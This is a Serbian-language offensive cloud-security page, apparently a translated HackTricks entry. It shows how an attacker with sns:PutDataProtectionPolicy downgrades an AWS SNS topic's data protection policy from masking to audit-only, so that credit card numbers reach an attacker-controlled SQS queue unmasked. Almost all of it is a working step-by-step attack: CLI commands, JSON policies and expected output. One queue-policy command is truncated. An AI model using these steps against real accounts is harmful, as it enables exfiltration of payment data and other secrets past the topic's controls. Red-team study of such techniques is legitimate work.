AWS - SNS Message Data Protection: zaobilaženje putem Policy Downgrade

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ako imate sns:PutDataProtectionPolicy na topic-u, možete promeniti njegov Message Data Protection policy sa Deidentify/Deny na Audit-only (ili ukloniti Outbound kontrole) tako da osetljive vrednosti (npr. brojevi kreditnih kartica) budu isporučene neizmenjene vašoj subscription.

Zahtevi

  • Dozvole na ciljnom topic-u za pozivanje sns:PutDataProtectionPolicy (i obično sns:Subscribe ako želite da primate podatke).
  • Standardni SNS topic (Message Data Protection podržan).

Koraci napada

  • Promenljive
REGION=us-east-1
  1. Kreirajte standardni topic i napadačku SQS queue, i dozvolite samo ovom topic-u da šalje u queue
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
  1. Priložite data protection policy koja maskira brojeve kreditnih kartica u outbound porukama
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
  1. Pretplatite napadačku queue i objavite poruku sa test CC brojem, proverite maskiranje
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

Očekivani isječak prikazuje maskiranje (hashovi):

"Message" : "payment:{cc:################}"
  1. Smanjite politiku na audit-only (bez deidentify/deny izjava koje utiču na Outbound)

Za SNS, Audit statements moraju biti Inbound. Zamena politike sa Audit-only Inbound izjavom uklanja svaku Outbound de-identification, tako da poruke prolaze neizmenjene do pretplatnika.

cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
  1. Objavite istu poruku i proverite da je nemaskirana vrednost isporučena
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

Očekivani isječak prikazuje CC u čistom tekstu:

4539894458086459

Uticaj

  • Prebacivanje topic-a sa de-identification/deny na audit-only (ili uklanjanje Outbound kontrola) omogućava da PII/secrets prolaze neizmenjeni do attacker-controlled subscriptions, omogućavajući data exfiltration koja bi inače bila maskirana ili blokirana.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks